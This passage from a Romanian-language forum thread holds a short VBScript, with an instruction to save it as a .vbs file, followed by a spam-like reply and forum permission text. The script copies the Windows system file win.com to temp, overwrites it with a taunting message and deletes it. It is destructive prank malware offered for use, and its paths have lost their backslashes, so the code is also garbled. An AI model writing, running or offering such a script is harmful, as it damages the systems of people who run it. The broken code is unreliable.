Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject")
drive = "c:"
folder ="windows"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:windowstempwin.com")
set fs2=fso.CreateTextFile("c:windowswin.com")
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
SI salvati cu numele extensia.vbs
misanchik
Membru
Data inscrierii: 23/Iul/2012
Mesaje: 5
Localitate: Bulgaria
Trimis: 02/08/2012 16:23
Thanks for the inihsgt. It brings light into the dark!
Nu puteti crea un subiect nou in acest forum Nu puteti raspunde in subiectele acestui forum Nu puteti modifica mesajele proprii din acest forum Nu puteti sterge mesajele proprii din acest forum Nu puteti vota in chestionarele din acest forum
